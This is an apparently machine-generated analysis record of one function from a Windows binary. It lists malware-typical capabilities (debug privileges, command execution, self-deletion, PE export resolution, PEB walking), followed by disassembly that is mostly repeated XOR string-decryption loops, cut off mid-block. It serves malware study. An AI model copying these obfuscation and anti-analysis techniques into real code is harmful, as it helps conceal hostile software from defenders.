Function at 0x14010fe00
Capabilities:
Access peb ldr_data
Acquire debug privileges
Create thread
Encode data using xor
Enumerate gui resources
Enumerate process modules
Execute command
Hash data using fnv
Resolve function by parsing pe exports
Self delete

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xba70]
mov eax, 0xbb70
call fcn.1401cb0e0
sub rsp, rax
xor r12d, r12d
movzx eax, byte [0x140318557]
test al, al
je 0x14010fee0
xor byte [0x140318540], 0x36
xor byte [0x140318541], 0x37
xor byte [0x140318542], 0x38
xor byte [0x140318543], 0x39
xor byte [0x140318544], 0x3a
xor byte [0x140318545], 0x3b
xor byte [0x140318546], 0x3c
xor byte [0x140318547], 0x3d
xor byte [0x140318548], 0x3e
xor byte [0x140318549], 0x3f
xor byte [0x14031854a], 0x40
xor byte [0x14031854b], 0x41
xor byte [0x14031854c], 0x42
xor byte [0x14031854d], 0x43
xor byte [0x14031854e], 0x44
xor byte [0x14031854f], 0x45
xor byte [0x140318550], 0x46
xor byte [0x140318551], 0x47
xor byte [0x140318552], 0x48
xor byte [0x140318553], 0x49
xor byte [0x140318554], 0x4a
xor byte [0x140318555], 0x4b
xor byte [0x140318556], 0x4c
xor al, 0x4d
mov byte [0x140318557], al
movzx eax, byte [0x140317ef7]
test al, al
je 0x14010ff98
xor byte [0x140317ee0], 0x36
xor byte [0x140317ee1], 0x37
xor byte [0x140317ee2], 0x38
xor byte [0x140317ee3], 0x39
xor byte [0x140317ee4], 0x3a
xor byte [0x140317ee5], 0x3b
xor byte [0x140317ee6], 0x3c
xor byte [0x140317ee7], 0x3d
xor byte [0x140317ee8], 0x3e
xor byte [0x140317ee9], 0x3f
xor byte [0x140317eea], 0x40
xor byte [0x140317eeb], 0x41
xor byte [0x140317eec], 0x42
xor byte [0x140317eed], 0x43
xor byte [0x140317eee], 0x44
xor byte [0x140317eef], 0x45
xor byte [0x140317ef0], 0x46
xor byte [0x140317ef1], 0x47
xor byte [0x140317ef2], 0x48
xor byte [0x140317ef3], 0x49
xor byte [0x140317ef4], 0x4a
xor byte [0x140317ef5], 0x4b
xor byte [0x140317ef6], 0x4c
xor al, 0x4d
mov byte [0x140317ef7], al
movzx eax, byte [0x140318f2f]
test al, al
je 0x140110050
xor byte [0x140318f18], 0x36
xor byte [0x140318f19], 0x37
xor byte [0x140318f1a], 0x38
xor byte [0x140318f1b], 0x39
xor byte [0x140318f1c], 0x3a
xor byte [0x140318f1d], 0x3b
xor byte [0x140318f1e], 0x3c
xor byte [0x140318f1f], 0x3d
xor byte [0x140318f20], 0x3e
xor byte [0x140318f21], 0x3f
xor byte [0x140318f22], 0x40
xor byte [0x140318f23], 0x41
xor byte [0x140318f24], 0x42
xor byte [0x140318f25], 0x43
xor byte [0x140318f26], 0x44
xor byte [0x140318f27], 0x45
xor byte [0x140318f28], 0x46
xor byte [0x140318f29], 0x47
xor byte [0x140318f2a], 0x48
xor byte [0x140318f2b], 0x49
xor byte [0x140318f2c], 0x4a
xor byte [0x140318f2d], 0x4b
xor byte [0x140318f2e], 0x4c
xor al, 0x4d
mov byte [0x140318f2f], al
movzx eax, byte [0x1403180d7]
test al, al
je 0x140110108
xor byte [0x1403180c0], 0x36
xor byte [0x1403180c1], 0x37
xor byte [0x1403180c2], 0x38
xor byte [0x1403180c3], 0x39
xor byte [0x1403180c4], 0x3a
xor byte [0x1403180c5], 0x3b
xor byte [0x1403180c6], 0x3c
xor byte [0x1403180c7], 0x3d
xor byte [0x1403180c8], 0x3e
xor byte [0x1403180c9], 0x3f
xor byte [0x1403180ca], 0x40
xor byte [0x1403180cb], 0x41
xor byte [0x1403180cc], 0x42
xor byte [0x1403180cd], 0x43
xor byte [0x1403180ce], 0x44
xor byte [0x1403180cf], 0x45
xor byte [0x1403180d0], 0x46
xor byte [0x1403180d1], 0x47
xor byte [0x1403180d2], 0x48
xor byte [0x1403180d3], 0x49
xor byte [0x1403180d4], 0x4a
xor byte [0x1403180d5], 0x4b
xor byte [0x1403180d6], 0x4c
xor al, 0x4d
mov byte [0x1403180d7], al
movzx eax, byte [0x14031850f]
test al, al
je 0x1401101c0
xor byte [0x1403184f8], 0x36
xor byte [0x1403184f9], 0x37
xor byte [0x1403184fa], 0x38
xor byte [0x1403184fb], 0x39
xor byte [0x1403184fc], 0x3a
xor byte [0x1403184fd], 0x3b
xor byte [0x1403184fe], 0x3c
xor byte [0x1403184ff], 0x3d
xor byte [0x140318500], 0x3e
xor byte [0x140318501], 0x3f
xor byte [0x140318502], 0x40
xor byte [0x140318503], 0x41
xor byte [0x140318504], 0x42
xor byte [0x140318505], 0x43
xor byte [0x140318506], 0x44
xor byte [0x140318507], 0x45
xor byte [0x140318508], 0x46
xor byte [0x140318509], 0x47
xor byte [0x14031850a], 0x48
xor byte [0x14031850b], 0x49
xor byte [0x14031850c], 0x4a
xor byte [0x14031850d], 0x4b
xor byte [0x14031850e], 0x4c
xor al, 0x4d
mov byte [0x14031850f], al
movzx eax, byte [0x1403187af]
test al, al
je 0x140110278
xor byte [0x140318798], 0x36
xor byte [0x140318799], 0x37
xor byte [0x14031879a], 0x38
xor byte [0x14031879b], 0x39
xor byte [0x14031879c], 0x3a
xor byte [0x14031879d], 0x3b
xor byte [0x14031879e], 0x3c
xor byte [0x14031879f], 0x3d
xor byte [0x1403187a0], 0x3e
xor byte [0x1403187a1], 0x3f
xor byte [0x1403187a2], 0x40
xor byte [0x1403187a3], 0x41
xor byte [0x1403187a4], 0x42
xor byte [0x1403187a5], 0x43
xor byte [0x1403187a6], 0x44
xor byte [0x1403187a7], 0x45
xor byte [0x1403187a8], 0x46
xor byte [0x1403187a9], 0x47
xor byte [0x1403187aa], 0x48
xor byte [0x1403187ab], 0x49
xor byte [0x1403187ac], 0x4a
xor byte [0x1403187ad], 0x4b
xor byte [0x1403187ae], 0x4c
xor al, 0x4d
mov byte [0x1403187af], al
movzx eax, byte [0x140318e17]
test al, al
je 0x140110330
xor byte [0x140318e00], 0x36
xor byte [0x140318e01], 0x37
xor byte [0x140318e02], 0x38
xor byte [0x140318e03], 0x39
xor byte [0x140318e04], 0x3a
xor byte [0x140318e05], 0x3b
xor byte [0x140318e06], 0x3c
xor byte [0x140318e07], 0x3d
xor byte [0x140318e08], 0x3e
xor byte [0x140318e09], 0x3f
xor byte [0x140318e0a], 0x40
xor byte [0x140318e0b], 0x41
xor byte [0x140318e0c], 0x42
xor byte [0x140318e0d], 0x43
xor byte [0x140318e0e], 0x44
xor byte [0x140318e0f], 0x45
xor byte [0x140318e10], 0x46
xor byte [0x140318e11], 0x47
xor byte [0x140318e12], 0x48
xor byte [0x140318e13], 0x49
xor byte [0x140318e14], 0x4a
xor byte [0x140318e15], 0x4b
xor byte [0x140318e16], 0x4c
xor al, 0x4d
mov byte [0x140318e17], al
movzx eax, byte [0x1403180bf]
test al, al
je 0x1401103e8
xor byte [0x1403180a8], 0x36
xor byte [0x1403180a9], 0x37
xor byte [0x1403180aa], 0x38
xor byte [0x1403180ab], 0x39
xor byte [0x1403180ac], 0x3a
xor byte [0x1403180ad], 0x3b
xor byte [0x1403180ae], 0x3c
xor byte [0x1403180af], 0x3d
xor byte [0x1403180b0], 0x3e
xor byte [0x1403180b1], 0x3f
xor byte [0x1403180b2], 0x40
xor byte [0x1403180b3], 0x41
xor byte [0x1403180b4], 0x42
xor byte [0x1403180b5], 0x43
xor byte [0x1403180b6], 0x44
xor byte [0x1403180b7], 0x45
xor byte [0x1403180b8], 0x46
xor byte [0x1403180b9], 0x47
xor byte [0x1403180ba], 0x48
xor byte [0x1403180bb], 0x49
xor byte [0x1403180bc], 0x4a
xor byte [0x1403180bd], 0x4b
xor byte [0x1403180be], 0x4c
xor al, 0x4d
mov byte [0x1403180bf], al
movzx eax, byte [0x140318497]
test al, al
je 0x1401104a0
xor byte [0x140318480], 0x36
xor byte [0x140318481], 0x37
xor byte [0x140318482], 0x38
xor byte [0x140318483], 0x39
xor byte [0x140318484], 0x3a
xor byte [0x140318485], 0x3b
xor byte [0x140318486], 0x3c
xor byte [0x140318487], 0x3d
xor byte [0x140318488], 0x3e
xor byte [0x140318489], 0x3f
xor byte [0x14031848a], 0x40
xor byte [0x14031848b], 0x41
xor byte [0x14031848c], 0x42
xor byte [0x14031848d], 0x43
xor byte [0x14031848e], 0x44
xor byte [0x14031848f], 0x45
xor byte [0x140318490], 0x46
xor byte [0x140318491], 0x47
xor byte [0x140318492], 0x48
xor byte [0x140318493], 0x49
xor byte [0x140318494], 0x4a
xor byte [0x140318495], 0x4b
xor byte [0x140318496], 0x4c
xor al, 0x4d
mov byte [0x140318497], al
movzx eax, byte [0x140317c7f]
test al, al
je 0x140110558
xor byte [0x140317c68], 0x36
xor byte [0x140317c69], 0x37
xor byte [0x140317c6a], 0x38
xor byte [0x140317c6b], 0x39
xor byte [0x140317c6c], 0x3a
xor byte [0x140317c6d], 0x3b
xor byte [0x140317c6e], 0x3c
xor byte [0x140317c6f], 0x3d
xor byte [0x140317c70], 0x3e
xor byte [0x140317c71], 0x3f
xor byte [0x140317c72], 0x40
xor byte [0x140317c73], 0x41
xor byte [0x140317c74], 0x42
xor byte [0x140317c75], 0x43
xor byte [0x140317c76], 0x44
xor byte [0x140317c77], 0x45
xor byte [0x140317c78], 0x46
xor byte [0x140317c79], 0x47
xor byte [0x140317c7a], 0x48
xor byte [0x140317c7b], 0x49
xor byte [0x140317c7c], 0x4a
xor byte [0x140317c7d], 0x4b
xor byte [0x140317c7e], 0x4c
xor al, 0x4d
mov byte [0x140317c7f], al
movzx eax, byte [0x14031841f]
test al, al
je 0x140110610
xor byte [0x140318408], 0x36
xor byte [0x140318409], 0x37
xor byte [0x14031840a], 0x38
xor byte [0x14031840b], 0x39
xor byte [0x14031840c], 0x3a
xor byte [0x14031840d], 0x3b
xor byte [0x14031840e], 0x3c
xor byte [0x14031840f], 0x3d
xor byte [0x140318410], 0x3e
xor byte [0x140318411], 0x3f
xor byte [0x140318412], 0x40
xor byte [0x140318413], 0x41
xor byte [0x140318414], 0x42
xor byte [0x140318415], 0x43
xor byte [0x140318416], 0x44
xor byte [0x140318417], 0x45
xor byte [0x140318418], 0x46
xor byte [0x140318419], 0x47
xor byte [0x14031841a], 0x48
xor byte [0x14031841b], 0x49
xor byte [0x14031841c], 0x4a
xor byte [0x14031841d], 0x4b
xor byte [0x14031841e], 0x4c
xor al, 0x4d
mov byte [0x14031841f], al
movzx eax, byte [0x1403191d7]
test al, al
je 0x1401106c8
xor byte [0x1403191c0], 0x36
xor byte [0x1403191c1], 0x37
xor byte [0x1403191c2], 0x38
xor byte [0x1403191c3], 0x39
xor byte [0x1403191c4], 0x3a
xor byte [0x1403191c5], 0x3b
xor byte [0x1403191c6], 0x3c
xor byte [0x1403191c7], 0x3d
xor byte [0x1403191c8], 0x3e
xor byte [0x1403191c9], 0x3f
xor byte [0x1403191ca], 0x40
xor byte [0x1403191cb], 0x41
xor byte [0x1403191cc], 0x42
xor byte [0x1403191cd], 0x43
xor byte [0x1403191ce], 0x44
xor byte [0x1403191cf], 0x45
xor byte [0x1403191d0], 0x46
xor byte [0x1403191d1], 0x47
xor byte [0x1403191d2], 0x48
xor byte [0x1403191d3], 0x49
xor byte [0x1403191d4], 0x4a
xor byte [0x1403191d5], 0x4b
xor byte [0x1403191d6], 0x4c
xor al, 0x4d
mov byte [0x1403191d7], al
movzx eax, byte [0x140318827]
test al, al
je 0x140110780
xor byte [0x140318810], 0x36
xor byte [0x140318811], 0x37
xor byte [0x140318812], 0x38
xor byte [0x140318813], 0x39
xor byte [0x140318814], 0x3a
xor byte [0x140318815], 0x3b
xor byte [0x140318816], 0x3c
xor byte [0x140318817], 0x3d
xor byte [0x140318818], 0x3e
xor byte [0x140318819], 0x3f
xor byte [0x14031881a], 0x40
xor byte [0x14031881b], 0x41
xor byte [0x14031881c], 0x42
xor byte [0x14031881d], 0x43
xor byte [0x14031881e], 0x44
xor byte [0x14031881f], 0x45
xor byte [0x140318820], 0x46
xor byte [0x140318821], 0x47
xor byte [0x140318822], 0x48
xor byte [0x140318823], 0x49
xor byte [0x140318824], 0x4a
xor byte [0x140318825], 0x4b
xor byte [0x140318826], 0x4c
xor al, 0x4d
mov byte [0x140318827], al
movzx eax, byte [0x140318ad7]
test al, al
je 0x140110838
xor byte [0x140318ac0], 0x36
xor byte [0x140318ac1], 0x37
xor byte [0x140318ac2], 0x38
xor byte [0x140318ac3], 0x39
xor byte [0x140318ac4], 0x3a
xor byte [0x140318ac5], 0x3b
xor byte [0x140318ac6], 0x3c
xor byte [0x140318ac7], 0x3d
xor byte [0x140318ac8], 0x3e
xor byte [0x140318ac9], 0x3f
xor byte [0x140318aca], 0x40
xor byte [0x140318acb], 0x41
xor byte [0x140318acc], 0x42
xor byte [0x140318acd], 0x43
xor byte [0x140318ace], 0x44
xor byte [0x140318acf], 0x45
xor byte [0x140318ad0], 0x46
xor byte [0x140318ad1], 0x47
xor byte [0x140318ad2], 0x48
xor byte [0x140318ad3], 0x49
xor byte [0x140318ad4], 0x4a
xor byte [0x140318ad5], 0x4b
xor byte [0x140318ad6], 0x4c
xor al, 0x4d
mov byte [0x140318ad7], al
movzx eax, byte [0x1403191bf]
test al, al
je 0x1401108f0
xor byte [0x1403191a8], 0x36
xor byte [0x1403191a9], 0x37
xor byte [0x1403191aa], 0x38
xor byte [0x1403191ab], 0x39
xor byte [0x1403191ac], 0x3a
xor byte [0x1403191ad], 0x3b
xor byte [0x1403191ae], 0x3c
xor byte [0x1403191af], 0x3d
xor byte [0x1403191b0], 0x3e
xor byte [0x1403191b1], 0x3f
xor byte [0x1403191b2], 0x40
xor byte [0x1403191b3], 0x41
xor byte [0x1403191b4], 0x42
xor byte [0x1403191b5], 0x43
xor byte [0x1403191b6], 0x44
xor byte [0x1403191b7], 0x45
xor byte [0x1403191b8], 0x46
xor byte [0x1403191b9], 0x47
xor byte [0x1403191ba], 0x48
xor byte [0x1403191bb], 0x49
xor byte [0x1403191bc], 0x4a
xor byte [0x1403191bd], 0x4b
xor byte [0x1403191be], 0x4c
xor al, 0x4d
mov byte [0x1403191bf], al
movzx eax, byte [0x140318257]
test al, al
je 0x1401109a8
xor byte [0x140318240], 0x36
xor byte [0x140318241], 0x37
xor byte [0x140318242], 0x38
xor byte [0x140318243], 0x39
xor byte [0x140318244], 0x3a
xor byte [0x140318245], 0x3b
xor byte [0x140318246], 0x3c
xor byte [0x140318247], 0x3d
xor byte [0x140318248], 0x3e
xor byte [0x140318249], 0x3f
xor byte [0x14031824a], 0x40
xor byte [0x14031824b], 0x41
xor byte [0x14031824c], 0x42
xor byte [0x14031824d], 0x43
xor byte [0x14031824e], 0x44
xor byte [0x14031824f], 0x45
xor byte [0x140318250], 0x46
xor byte [0x140318251], 0x47
xor byte [0x140318252], 0x48
xor byte [0x140318253], 0x49
xor byte [0x140318254], 0x4a
xor byte [0x140318255], 0x4b
xor byte [0x140318256], 0x4c
xor al, 0x4d
mov byte [0x140318257], al
movzx eax, byte [0x14031859f]
test al, al
je 0x140110a60
xor byte [0x140318588], 0x36
xor byte [0x140318589], 0x37
xor byte [0x14031858a], 0x38
xor byte [0x14031858b], 0x39
xor byte [0x14031858c], 0x3a
xor byte [0x14031858d], 0x3b
xor byte [0x14031858e], 0x3c
xor byte [0x14031858f], 0x3d
xor byte [0x140318590], 0x3e
xor byte [0x140318591], 0x3f
xor byte [0x140318592], 0x40
xor byte [0x140318593], 0x41
xor byte [0x140318594], 0x42
xor byte [0x140318595], 0x43
xor byte [0x140318596], 0x44
xor byte [0x140318597], 0x45
xor byte [0x140318598], 0x46
xor byte [0x140318599], 0x47
xor byte [0x14031859a], 0x48
xor byte [0x14031859b], 0x49
xor byte [0x14031859c], 0x4a
xor byte [0x14031859d], 0x4b
xor byte [0x14031859e], 0x4c
xor al, 0x4d
mov byte [0x14031859f], al
movzx eax, byte [0x14031871f]
test al, al
je 0x140110b18
xor byte [0x140318708], 0x36
xor byte [0x140318709], 0x37
xor byte [0x14031870a], 0x38
xor byte [0x14031870b], 0x39
xor byte [0x14031870c], 0x3a
xor byte [0x14031870d], 0x3b
xor byte [0x14031870e], 0x3c
xor byte [0x14031870f], 0x3d
xor byte [0x140318710], 0x3e
xor byte [0x140318711], 0x3f
xor byte [0x140318712], 0x40
xor byte [0x140318713], 0x41
xor byte [0x140318714], 0x42
xor byte [0x140318715], 0x43
xor byte [0x140318716], 0x44
xor byte [0x140318717], 0x45
xor byte [0x140318718], 0x46
xor byte [0x140318719], 0x47
xor byte [0x14031871a], 0x48
xor byte [0x14031871b], 0x49
xor byte [0x14031871c], 0x4a
xor byte [0x14031871d], 0x4b
xor byte [0x14031871e], 0x4c
xor al, 0x4d
mov byte [0x14031871f], al
movzx eax, byte [0x140318977]
test al, al
je 0x140110bd0
xor byte [0x140318960], 0x36
xor byte [0x140318961], 0x37
xor byte [0x140318962], 0x38
xor byte [0x140318963], 0x39
xor byte [0x140318964], 0x3a
xor byte [0x140318965], 0x3b
xor byte [0x140318966], 0x3c
xor byte [0x140318967], 0x3d
xor byte [0x140318968], 0x3e
xor byte [0x140318969], 0x3f
xor byte [0x14031896a], 0x40
xor byte [0x14031896b], 0x41
xor byte [0x14031896c], 0x42
xor byte [0x14031896d], 0x43
xor byte [0x14031896e], 0x44
xor byte [0x14031896f], 0x45
xor byte [0x140318970], 0x46
xor byte [0x140318971], 0x47
xor byte [0x140318972], 0x48
xor byte [0x140318973], 0x49
xor byte [0x140318974], 0x4a
xor byte [0x140318975], 0x4b
xor byte [0x140318976], 0x4c
xor al, 0x4d
mov byte [0x140318977], al
movzx eax, byte [0x14031853f]
test al, al
je 0x140110c88
xor byte [0x140318528], 0x36
xor byte [0x140318529], 0x37
xor byte [0x14031852a], 0x38
xor byte [0x14031852b], 0x39
xor byte [0x14031852c], 0x3a
xor byte [0x14031852d], 0x3b
xor byte [0x14031852e], 0x3c
xor byte [0x14031852f], 0x3d
xor byte [0x140318530], 0x3e
xor byte [0x140318531], 0x3f
xor byte [0x140318532], 0x40
xor byte [0x140318533], 0x41
xor byte [0x140318534], 0x42
xor byte [0x140318535], 0x43
xor byte [0x140318536], 0x44
xor byte [0x140318537], 0x45
xor byte [0x140318538], 0x46
xor byte [0x140318539], 0x47
xor byte [0x14031853a], 0x48
xor byte [0x14031853b], 0x49
xor byte [0x14031853c], 0x4a
xor byte [0x14031853d], 0x4b
xor byte [0x14031853e], 0x4c
xor al, 0x4d
mov byte [0x14031853f], al
movzx eax, byte [0x1403188ff]
test al, al
je 0x140110d40
xor byte [0x1403188e8], 0x36
xor byte [0x1403188e9], 0x37
xor byte [0x1403188ea], 0x38
xor byte [0x1403188eb], 0x39
xor byte [0x1403188ec], 0x3a
xor byte [0x1403188ed], 0x3b
xor byte [0x1403188ee], 0x3c
xor byte [0x1403188ef], 0x3d
xor byte [0x1403188f0], 0x3e
xor byte [0x1403188f1], 0x3f
xor byte [0x1403188f2], 0x40
xor byte [0x1403188f3], 0x41
xor byte [0x1403188f4], 0x42
xor byte [0x1403188f5], 0x43
xor byte [0x1403188f6], 0x44
xor byte [0x1403188f7], 0x45
xor byte [0x1403188f8], 0x46
xor byte [0x1403188f9], 0x47
xor byte [0x1403188fa], 0x48
xor byte [0x1403188fb], 0x49
xor byte [0x1403188fc], 0x4a
xor byte [0x1403188fd], 0x4b
xor byte [0x1403188fe], 0x4c
xor al, 0x4d
mov byte [0x1403188ff], al
movzx eax, byte [0x140318017]
test al, al
je 0x140110df8
xor byte [0x140318000], 0x36
xor byte [0x140318001], 0x37
xor byte [0x140318002], 0x38
xor byte [0x140318003], 0x39
xor byte [0x140318004], 0x3a
xor byte [0x140318005], 0x3b
xor byte [0x140318006], 0x3c
xor byte [0x140318007], 0x3d
xor byte [0x140318008], 0x3e
xor byte [0x140318009], 0x3f
xor byte [0x14031800a], 0x40
xor byte [0x14031800b], 0x41
xor byte [0x14031800c], 0x42
xor byte [0x14031800d], 0x43
xor byte [0x14031800e], 0x44
xor byte [0x14031800f], 0x45
xor byte [0x140318010], 0x46
xor byte [0x140318011], 0x47
xor byte [0x140318012], 0x48
xor byte [0x140318013], 0x49
xor byte [0x140318014], 0x4a
xor byte [0x140318015], 0x4b
xor byte [0x140318016], 0x4c
xor al, 0x4d
mov byte [0x140318017], al
movzx eax, byte [0x14031856f]
test al, al
je 0x140110eb0
xor byte [0x140318558], 0x36
xor byte [0x140318559], 0x37
xor byte [0x14031855a], 0x38
xor byte [0x14031855b], 0x39
xor byte [0x14031855c], 0x3a
xor byte [0x14031855d], 0x3b
xor byte [0x14031855e], 0x3c
xor byte [0x14031855f], 0x3d
xor byte [0x140318560], 0x3e
xor byte [0x140318561], 0x3f
xor byte [0x140318562], 0x40
xor byte [0x140318563], 0x41
xor byte [0x140318564], 0x42
xor byte [0x140318565], 0x43
xor byte [0x140318566], 0x44
xor byte [0x140318567], 0x45
xor byte [0x140318568], 0x46
xor byte [0x140318569], 0x47
xor byte [0x14031856a], 0x48
xor byte [0x14031856b], 0x49
xor byte [0x14031856c], 0x4a
xor byte [0x14031856d], 0x4b
xor byte [0x14031856e], 0x4c
xor al, 0x4d
mov byte [0x14031856f], al
movzx eax, byte [0x140317ec7]
test al, al
je 0x140110f68
xor byte [0x140317eb0], 0x36
xor byte [0x140317eb1], 0x37
xor byte [0x140317eb2], 0x38
xor byte [0x140317eb3], 0x39
xor byte [0x140317eb4], 0x3a
xor byte [0x140317eb5], 0x3b
xor byte [0x140317eb6], 0x3c
xor byte [0x140317eb7], 0x3d
xor byte [0x140317eb8], 0x3e
xor byte [0x140317eb9], 0x3f
xor byte [0x140317eba], 0x40
xor byte [0x140317ebb], 0x41
xor byte [0x140317ebc], 0x42
xor byte [0x140317ebd], 0x43
xor byte [0x140317ebe], 0x44
xor byte [0x140317ebf], 0x45
xor byte [0x140317ec0], 0x46
xor byte [0x140317ec1], 0x47
xor byte [0x140317ec2], 0x48
xor byte [0x140317ec3], 0x49
xor byte [0x140317ec4], 0x4a
xor byte [0x140317ec5], 0x4b
xor byte [0x140317ec6], 0x4c
xor al, 0x4d
mov byte [0x140317ec7], al
movzx eax, byte [0x140318237]
test al, al
je 0x140111020
xor byte [0x140318220], 0x36
xor byte [0x140318221], 0x37
xor byte [0x140318222], 0x38
xor byte [0x140318223], 0x39
xor byte [0x140318224], 0x3a
xor byte [0x140318225], 0x3b
xor byte [0x140318226], 0x3c
xor byte [0x140318227], 0x3d
xor byte [0x140318228], 0x3e
xor byte [0x140318229], 0x3f
xor byte [0x14031822a], 0x40
xor byte [0x14031822b], 0x41
xor byte [0x14031822c], 0x42
xor byte [0x14031822d], 0x43
xor byte [0x14031822e], 0x44
xor byte [0x14031822f], 0x45
xor byte [0x140318230], 0x46
xor byte [0x140318231], 0x47
xor byte [0x140318232], 0x48
xor byte [0x140318233], 0x49
xor byte [0x140318234], 0x4a
xor byte [0x140318235], 0x4b
xor byte [0x140318236], 0x4c
xor al, 0x4d
mov byte [0x140318237], al
movzx eax, byte [0x140317e97]
test al, al
je 0x1401110d8
xor byte [0x140317e80], 0x36
xor byte [0x140317e81], 0x37
xor byte [0x140317e82], 0x38
xor byte [0x140317e83], 0x39
xor byte [0x140317e84], 0x3a
xor byte [0x140317e85], 0x3b
xor byte [0x140317e86], 0x3c
xor byte [0x140317e87], 0x3d
xor byte [0x140317e88], 0x3e
xor byte [0x140317e89], 0x3f
xor byte [0x140317e8a], 0x40
xor byte [0x140317e8b], 0x41
xor byte [0x140317e8c], 0x42
xor byte [0x140317e8d], 0x43
xor byte [0x140317e8e], 0x44
xor byte [0x140317e8f], 0x45
xor byte [0x140317e90], 0x46
xor byte [0x140317e91], 0x47
xor byte [0x140317e92], 0x48
xor byte [0x140317e93], 0x49
xor byte [0x140317e94], 0x4a
xor byte [0x140317e95], 0x4b
xor byte [0x140317e96], 0x4c
xor al, 0x4d
mov byte [0x140317e97], al
movzx eax, byte [0x140317dbf]
test al, al
je 0x140111190
xor byte [0x140317da8], 0x36
xor byte [0x140317da9], 0x37
xor byte [0x140317daa], 0x38
xor byte [0x140317dab], 0x39
xor byte [0x140317dac], 0x3a
xor byte [0x140317dad], 0x3b
xor byte [0x140317dae], 0x3c
xor byte [0x140317daf], 0x3d
xor byte [0x140317db0], 0x3e
xor byte [0x140317db1], 0x3f
xor byte [0x140317db2], 0x40
xor byte [0x140317db3], 0x41
xor byte [0x140317db4], 0x42
xor byte [0x140317db5], 0x43
xor byte [0x140317db6], 0x44
xor byte [0x140317db7], 0x45
xor byte [0x140317db8], 0x46
xor byte [0x140317db9], 0x47
xor byte [0x140317dba], 0x48
xor byte [0x140317dbb], 0x49
xor byte [0x140317dbc], 0x4a
xor byte [0x140317dbd], 0x4b
xor byte [0x140317dbe], 0x4c
xor al, 0x4d
mov byte [0x140317dbf], al
movzx eax, byte [0x1403187c7]
test al, al
je 0x140111248
xor byte [0x1403187b0], 0x36
xor byte [0x1403187b1], 0x37
xor byte [0x1403187b2], 0x38
xor byte [0x1403187b3], 0x39
xor byte [0x1403187b4], 0x3a
xor byte [0x1403187b5], 0x3b
xor byte [0x1403187b6], 0x3c
xor byte [0x1403187b7], 0x3d
xor byte [0x1403187b8], 0x3e
xor byte [0x1403187b9], 0x3f
xor byte [0x1403187ba], 0x40
xor byte [0x1403187bb], 0x41
xor byte [0x1403187bc], 0x42
xor byte [0x1403187bd], 0x43
xor byte [0x1403187be], 0x44
xor byte [0x1403187bf], 0x45
xor byte [0x1403187c0], 0x46
xor byte [0x1403187c1], 0x47
xor byte [0x1403187c2], 0x48
xor byte [0x1403187c3], 0x49
xor byte [0x1403187c4], 0x4a
xor byte [0x1403187c5], 0x4b
xor byte [0x1403187c6], 0x4c
xor al, 0x4d
mov byte [0x1403187c7], al
movzx eax, byte [0x140318abf]
test al, al
je 0x140111300
xor byte [0x140318aa8], 0x36
xor byte [0x140318aa9], 0x37
xor byte [0x140318aaa], 0x38
xor byte [0x140318aab], 0x39
xor byte [0x140318aac], 0x3a
xor byte [0x140318aad], 0x3b
xor byte [0x140318aae], 0x3c
xor byte [0x140318aaf], 0x3d
xor byte [0x140318ab0], 0x3e
xor byte [0x140318ab1], 0x3f
xor byte [0x140318ab2], 0x40
xor byte [0x140318ab3], 0x41
xor byte [0x140318ab4], 0x42
xor byte [0x140318ab5], 0x43
xor byte [0x140318ab6], 0x44
xor byte [0x140318ab7], 0x45
xor byte [0x140318ab8], 0x46
xor byte [0x140318ab9], 0x47
xor byte [0x140318aba], 0x48
xor byte [0x140318abb], 0x49
xor byte [0x140318abc], 0x4a
xor byte [0x140318abd], 0x4b
xor byte [0x140318abe], 0x4c
xor al, 0x4d
mov byte [0x140318abf], al
movzx eax, byte [0x140318f47]
test al, al
je 0x1401113b8
xor byte [0x140318f30], 0x36
xor byte [0x140318f31], 0x37
xor byte [0x140318f32], 0x38
xor byte [0x140318f33], 0x39
xor byte [0x140318f34], 0x3a
xor byte [0x140318f35], 0x3b
xor byte [0x140318f36], 0x3c
xor byte [0x140318f37], 0x3d
xor byte [0x140318f38], 0x3e
xor byte [0x140318f39], 0x3f
xor byte [0x140318f3a], 0x40
xor byte [0x140318f3b], 0x41
xor byte [0x140318f3c], 0x42
xor byte [0x140318f3d], 0x43
xor byte [0x140318f3e], 0x44
xor byte [0x140318f3f], 0x45
xor byte [0x140318f40], 0x46
xor byte [0x140318f41], 0x47
xor byte [0x140318f42], 0x48
xor byte [0x140318f43], 0x49
xor byte [0x140318f44], 0x4a
xor byte [0x140318f45], 0x4b
xor byte [0x140318f46], 0x4c
xor al, 0x4d
mov byte [0x140318f47], al
movzx eax, byte [0x1403181d7]
test al, al
je 0x140111470
xor byte [0x1403181c0], 0x36
xor byte [0x1403181c1], 0x37
xor byte [0x1403181c2], 0x38
xor byte [0x1403181c3], 0x39
xor byte [0x1403181c4], 0x3a
xor byte [0x1403181c5], 0x3b
xor byte [0x1403181c6], 0x3c
xor byte [0x1403181c7], 0x3d
xor byte [0x1403181c8], 0x3e
xor byte [0x1403181c9], 0x3f
xor byte [0x1403181ca], 0x40
xor byte [0x1403181cb], 0x41
xor byte [0x1403181cc], 0x42
xor byte [0x1403181cd], 0x43
xor byte [0x1403181ce], 0x44
xor byte [0x1403181cf], 0x45
xor byte [0x1403181d0], 0x46
xor byte [0x1403181d1], 0x47
xor byte [0x1403181d2], 0x48
xor byte [0x1403181d3], 0x49
xor byte [0x1403181d4], 0x4a
xor byte [0x1403181d5], 0x4b
xor byte [0x1403181d6], 0x4c
xor al, 0x4d
mov byte [0x1403181d7], al
movzx eax, byte [0x140318aa7]
test al, al
je 0x140111528
xor byte [0x140318a90], 0x36
xor byte [0x140318a91], 0x37
xor byte [0x140318a92], 0x38
xor byte [0x140318a93], 0x39
xor byte [0x140318a94], 0x3a
xor byte [0x140318a95], 0x3b
xor byte [0x140318a96], 0x3c
xor byte [0x140318a97], 0x3d
xor byte [0x140318a98], 0x3e
xor byte [0x140318a99], 0x3f
xor byte [0x140318a9a], 0x40
xor byte [0x140318a9b], 0x41
xor byte [0x140318a9c], 0x42
xor byte [0x140318a9d], 0x43
xor byte [0x140318a9e], 0x44
xor byte [0x140318a9f], 0x45
xor byte [0x140318aa0], 0x46
xor byte [0x140318aa1], 0x47
xor byte [0x140318aa2], 0x48
xor byte [0x140318aa3], 0x49
xor byte [0x140318aa4], 0x4a
xor byte [0x140318aa5], 0x4b
xor byte [0x140318aa6], 0x4c
xor al, 0x4d
mov byte [0x140318aa7], al
movzx eax, byte [0x14031862f]
test al, al
je 0x1401115e0
xor byte [0x140318618], 0x36
xor byte [0x140318619], 0x37
xor byte [0x14031861a], 0x38
